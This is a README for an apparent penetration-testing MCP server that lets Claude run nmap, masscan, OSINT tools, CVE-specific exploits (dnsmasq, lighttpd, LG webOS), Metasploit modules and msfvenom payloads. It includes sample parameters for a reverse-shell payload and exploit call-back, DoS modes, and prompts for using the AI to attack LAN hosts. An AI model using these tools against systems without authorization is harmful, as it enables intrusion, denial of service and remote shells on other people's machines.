mrexploit MCP Server - Complete Penetration Testing Toolkit

This project extends the nmap MCP server into a comprehensive penetration testing toolkit that allows Claude to perform network scanning, vulnerability exploitation, and Metasploit operations.

⚠️ CRITICAL LEGAL DISCLAIMER

THIS TOOL IS FOR AUTHORIZED SECURITY TESTING ONLY

Only use on systems you own or have explicit written permission to test
Unauthorized access to computer systems is ILLEGAL
The authors are NOT responsible for misuse of this tool
Always comply with applicable laws and regulations
Unauthorized penetration testing can result in criminal charges

🎯 Features

Network Scanning (nmap) - 5 Tools `[NET_RAW/NET_ADMIN]`

nmap_ping_scan: Check if hosts are alive [NET_RAW]
nmap_port_scan: Scan for open ports
nmap_service_detection: Detect service versions
nmap_os_detection: Identify operating systems [NET_RAW, NET_ADMIN]
nmap_subnet_discovery: Find all hosts in a network [NET_RAW]

Recon & Enumeration - 7 Tools

masscan_port_scan: Ultra-fast port scanning at high packet rates [NET_RAW]
arp_scan: LAN host discovery via ARP (more reliable than ping on local nets) [NET_RAW]
dig_lookup: DNS record queries (A, MX, NS, TXT, CNAME, SOA, PTR, ANY)
dnsenum_scan: DNS enumeration — subdomains, zone transfers, brute-force
subfinder_scan: Passive subdomain discovery from public certificate/DNS sources
whatweb_scan: Web technology fingerprinting (CMS, frameworks, server software)
theharvester_scan: OSINT — emails, subdomains, hosts from Google/Bing/crt.sh/etc.

CVE Intelligence - 1 Tool

cve_lookup: Query NVD for known CVEs by product + version (use after service detection)

Vulnerability Exploitation - 3 Tools

exploit_cve_2017_14491: DNSmasq heap buffer overflow (dnsmasq < 2.78)
- Check vulnerability
- Crash DNS service (DoS)
- Custom payload delivery
exploit_cve_2019_11072: lighttpd integer overflow DoS (lighttpd < 1.4.54)
- Version detection
- Denial of service attack
exploit_cve_2023_6317: LG WebOS authorization bypass (webOS 4-7)
- Tests actual bypass mechanism (not just version check)
- Unprivileged account registration
- Privileged account creation via companion-client-key trick

Metasploit Integration - 3 Tools

metasploit_search: Search for exploits and modules
metasploit_exploit: Execute Metasploit exploit modules
generate_payload: Create shellcode with msfvenom

📁 Project Structure

mrexploit/
├── Dockerfile              # Kali Linux-based container
├── mcp_server.py          # Main MCP server (19 tools)
├── requirements.txt       # Python dependencies
├── exploits/              # Custom exploit scripts
│   ├── cve_2017_14491.py # DNSmasq exploit
│   ├── cve_2019_11072.py # lighttpd exploit
│   └── cve_2023_6317.py  # LG WebOS exploit
└── README.md             # This file

🚀 Setup Instructions

Step 1: Prepare Your Environment

Create the directory structure:

cd ~/nmap-mcp
mkdir exploits

Step 2: Create the Exploit Scripts

Save the exploit scripts (provided separately) as:

exploits/cve_2017_14491.py
exploits/cve_2019_11072.py
exploits/cve_2023_6317.py

Make them executable:

chmod +x exploits/*.py

Step 3: Update Requirements

Update your requirements.txt:

mcp>=1.0.0
requests>=2.31.0
scapy>=2.5.0

Step 4: Build the Docker Image

This will take 15-30 minutes on first build:

cd ~/nmap-mcp
docker build -t mrexploit .

This downloads Kali Linux, installs Metasploit Framework, nmap, and all dependencies.

Step 5: Test the Container

docker run --rm mrexploit python3 -c "import mcp; print('MCP OK')"
docker run --rm mrexploit msfconsole -v
docker run --rm mrexploit nmap --version

Step 6: Configure Claude Desktop

Edit your Claude Desktop config file:

macOS: ~/Library/Application Support/Claude/claude_desktop_config.json

Windows: %APPDATA%\Claude\claude_desktop_config.json

Linux: ~/.config/Claude/claude_desktop_config.json

Update the configuration:

{
  "mcpServers": {
    "mrexploit": {
      "command": "docker",
      "args": [
        "run",
        "--rm",
        "-i",
        "--network=host",
        "--cap-add=NET_RAW",
        "--cap-add=NET_ADMIN",
        "-v",
        "/Users/YOUR_USERNAME/mrexploit-logs:/logs",
        "mrexploit"
      ]
    }
  }
}

Replace /Users/YOUR_USERNAME/mrexploit-logs with a real path on your machine (e.g. ~/mrexploit-logs expanded). Create it first: mkdir -p ~/mrexploit-logs. The -v mount is optional — without it the log tool still works within a session, but entries are lost when the container exits.

Important flags:

--network=host: Access your local network (required for LAN scanning and local targets)
--cap-add=NET_RAW: Grants raw socket access — required for masscan_port_scan, arp_scan, nmap_ping_scan, nmap_subnet_discovery, nmap_os_detection
--cap-add=NET_ADMIN: Grants network interface control — required for nmap_os_detection (OS fingerprinting)

Tools that do NOT need extra capabilities (standard TCP/HTTP/DNS only): dig_lookup, dnsenum_scan, subfinder_scan, whatweb_scan, theharvester_scan, cve_lookup, nmap_port_scan, nmap_service_detection, all exploit tools, all Metasploit tools

If you run the container without --cap-add=NET_RAW, raw-packet tools will return a permission denied or operation not permitted error. All other tools will work normally.

macOS: Enable Real LAN Access (Required for ARP/subnet scans)

On macOS, Docker Desktop runs containers inside a Linux VM. Even with --network=host, the container sees the VM's network (typically 192.168.65.x), not your Mac's physical LAN (192.168.1.x). This causes ARP scans and subnet discovery to return 0 results on your home network.

Fix — enable Docker Desktop host networking:

Open Docker Desktop → Settings → Resources → Network
Enable "Enable host networking" (requires Docker Desktop 4.29+)
Click Apply & Restart

After enabling, the container uses your Mac's actual network interfaces and can reach 192.168.1.x directly. The --network=host flag in the config already enables this once the setting is turned on — no config changes needed.

Step 6b: Persistent Tool Call Logging (optional but recommended)

The log tool records every tool invocation with its parameters and a collapsed result. By default this is in-memory only and resets when the container exits.

To persist the log across sessions, mount a host directory to /logs:

mkdir -p ~/mrexploit-logs

Then add -v ~/mrexploit-logs:/logs to the Docker args in your Claude Desktop config (shown in Step 6 above). The log is written to ~/mrexploit-logs/mrexploit.jsonl — one JSON object per line, newest at the bottom. On startup the server reloads this file so log always shows the full history.

To tail the live log from your Mac:

tail -f ~/mrexploit-logs/mrexploit.jsonl | python3 -m json.tool

Step 7: Restart Claude Desktop

Completely close and restart Claude Desktop to load the new configuration.

Step 8: Verify Connection

In Claude Desktop, look for the 🔌 icon. You should see "mrexploit" listed as a connected MCP server with 19 tools available.

🎮 Usage Examples

Network Reconnaissance

"Scan my local network 192.168.1.0/24 and find all active hosts"

"Check what services are running on 192.168.1.1"

"Detect the operating system of 192.168.1.1"

"Use masscan to scan all 65535 ports on 10.0.0.1 at rate 5000"

"Show me all live hosts on the LAN using ARP"

DNS & Domain Enumeration

"Look up the MX records for example.com"

"Run dnsenum against example.com to find subdomains"

"Find all subdomains of example.com using subfinder"

"Harvest emails and subdomains for example.com from crt.sh"

Web Fingerprinting & CVE Intelligence

"Fingerprint the web stack on http://192.168.1.1"

"Detect services on 192.168.1.1 then look up CVEs for what you find"

"What known CVEs exist for Apache httpd 2.4.49?"

Vulnerability Assessment

"Check if 192.168.1.1 is vulnerable to CVE-2017-14491"

"Test 192.168.1.1 port 80 for CVE-2019-11072"

"Search Metasploit for dnsmasq exploits"

Exploitation (Authorized Testing Only!)

"Use the DNSmasq exploit to test 192.168.1.1"

"Generate a reverse shell payload for 192.168.1.100:4444"

"Search for lighttpd exploits in Metasploit"

🛠️ Available Tools Reference

1. nmap_ping_scan

{
  "target": "192.168.1.1"
}

2. nmap_port_scan

{
  "target": "192.168.1.1",
  "ports": "1-1000"
}

3. nmap_service_detection

{
  "target": "192.168.1.1"
}

4. nmap_subnet_discovery

{
  "subnet": "192.168.1.0/24"
}

5. nmap_os_detection

{
  "target": "192.168.1.1"
}

6. exploit_cve_2017_14491

{
  "target": "192.168.1.1",
  "port": 53,
  "mode": "check"
}

7. exploit_cve_2019_11072

{
  "target": "192.168.1.1",
  "port": 80,
  "mode": "check"
}

8. exploit_cve_2023_6317

{
  "target": "192.168.1.1",
  "port": 3001
}

9. metasploit_search

{
  "query": "dnsmasq",
  "type": "exploit"
}

10. metasploit_exploit

{
  "module": "exploit/linux/http/lighttpd_mod_secdownload",
  "rhosts": "192.168.1.1",
  "rport": 80,
  "lhost": "192.168.1.100",
  "lport": 4444
}

11. generate_payload

{
  "payload": "linux/x86/shell_reverse_tcp",
  "lhost": "192.168.1.100",
  "lport": 4444,
  "format": "python"
}

12. masscan_port_scan `[requires NET_RAW]`

{
  "target": "192.168.1.0/24",
  "ports": "1-65535",
  "rate": 5000
}

13. arp_scan `[requires NET_RAW]`

{
  "target": "192.168.1.0/24"
}

Omit target to scan the local network automatically (--localnet).

14. dig_lookup

{
  "domain": "example.com",
  "record_type": "MX",
  "nameserver": "8.8.8.8"
}

15. dnsenum_scan

{
  "domain": "example.com",
  "threads": 10,
  "no_brute": false
}

16. subfinder_scan

{
  "domain": "example.com",
  "timeout": 30
}

17. whatweb_scan

{
  "target": "http://192.168.1.1",
  "aggression": 1
}

Aggression levels: 1 = passive/stealthy, 3 = aggressive (more HTTP requests), 4 = heavy.

18. theharvester_scan

{
  "domain": "example.com",
  "source": "crtsh",
  "limit": 100
}

Sources: google, bing, duckduckgo, crtsh, dnsdumpster, hackertarget, rapiddns, all

19. cve_lookup

{
  "product": "Apache httpd",
  "version": "2.4.49",
  "max_results": 10
}

Queries the NVD API. version is optional — omit to search all versions of a product.

🔍 Manual Testing

Test Exploits Directly

# Enter the container
docker run -it --rm --network=host mrexploit /bin/bash

# Test CVE-2017-14491
python3 /opt/exploits/cve_2017_14491.py -t 192.168.1.1 -c

# Test CVE-2019-11072
python3 /opt/exploits/cve_2019_11072.py -t http://192.168.1.1 -c

# Use Metasploit directly
msfconsole

Test MCP Server

# Run server and send test request
docker run -i --network=host mrexploit
# Then type (or pipe):
{"jsonrpc":"2.0","method":"tools/list","id":1}

🐛 Troubleshooting

Container Build Fails

# Clean build
docker rmi mrexploit
docker system prune -a
docker build --no-cache -t mrexploit .

Metasploit Database Issues

docker run -it --rm mrexploit bash
msfdb reinit
msfdb status

Permission Denied / Operation Not Permitted on Network Operations

Certain tools send raw or crafted packets and require Linux capabilities granted via Docker flags:

Error seen in	Fix
`masscan`, `arp-scan`, `nmap` ping/OS/subnet scans	Add `--cap-add=NET_RAW`
`nmap` OS detection	Add both `--cap-add=NET_RAW` and `--cap-add=NET_ADMIN`

Tools like dig, dnsenum, subfinder, whatweb, theHarvester, and all exploit/Metasploit tools use only standard TCP/DNS and work without extra capabilities.

Verify your Claude Desktop config has both flags:

"args": ["run", "--rm", "-i", "--network=host", "--cap-add=NET_RAW", "--cap-add=NET_ADMIN", "mrexploit"]

Claude Doesn't Show mrexploit

Check config file syntax (use JSON validator)
Verify Docker image exists: docker images | grep mrexploit
Test Docker command manually
Restart Claude Desktop completely
Check Claude Desktop logs

Exploits Not Found

# Verify exploits are in container
docker run --rm mrexploit ls -la /opt/exploits/

# Should show:
# cve_2017_14491.py
# cve_2019_11072.py
# cve_2023_6317.py

🔒 Security Best Practices

Isolated Testing Network: Use a separate network for testing
Documentation: Always document your testing activities
Authorization: Keep written permission for all testing
Cleanup: Remove containers after use: docker rm -f $(docker ps -aq)
Updates: Regularly update: docker pull kalilinux/kali-rolling:latest
Logging: All activities are logged in the container
Responsible Disclosure: Follow proper disclosure procedures for found vulnerabilities

📚 Understanding the Exploits

CVE-2017-14491 (DNSmasq)

Vulnerability: Heap-based buffer overflow in DNS code
Impact: Remote code execution or denial of service
Affected: dnsmasq versions < 2.78
CVSS Score: 9.8 (Critical)

CVE-2019-11072 (lighttpd)

Vulnerability: Signed integer overflow
Impact: Denial of service
Affected: lighttpd versions < 1.4.54
CVSS Score: 7.5 (High)

CVE-2023-6317 (LG WebOS)

Vulnerability: Authorization bypass via companion-client-key
Impact: Unauthorized privileged account creation without PIN
Affected: webOS 4.9.7 - 7.3.1 (LG TVs 2020-2023)
CVSS Score: 7.2 (High)
Chain: Can be combined with CVE-2023-6318 for root access

🎓 Learning Resources

🔄 Updating

Update Metasploit

docker run -it --rm mrexploit msfupdate

Rebuild with Latest Tools

docker build --no-cache -t mrexploit .

🤝 Contributing

When adding new exploits:

Create exploit script in exploits/
Add tool definition in mcp_server.py list_tools()
Add handler in handle_call_tool()
Test thoroughly in isolated environment
Document usage and risks

📝 License

MIT License - For educational and authorized testing purposes only.

⚖️ Ethical Use

This tool is designed for:

✅ Learning cybersecurity concepts
✅ Authorized penetration testing
✅ Security research on your own systems
✅ CTF competitions and labs

This tool is NOT for:

❌ Unauthorized access
❌ Malicious activities
❌ Attacking systems without permission
❌ Any illegal activities

🆘 Support

If you encounter issues:

Check this README thoroughly
Verify Docker is running properly
Test components individually
Check Metasploit documentation
Review nmap documentation

Remember: With great power comes great responsibility. Always get proper authorization before testing any systems.

🔐 Stay Legal. Stay Ethical. Stay Secure.

Name		Name	Last commit message	Last commit date
Latest commit History 5 Commits
exploits		exploits
CLAUDE.md		CLAUDE.md
Dockerfile		Dockerfile
README.md		README.md
mcp_server.py		mcp_server.py
requirements.txt		requirements.txt

Folders and files

Latest commit

History

Repository files navigation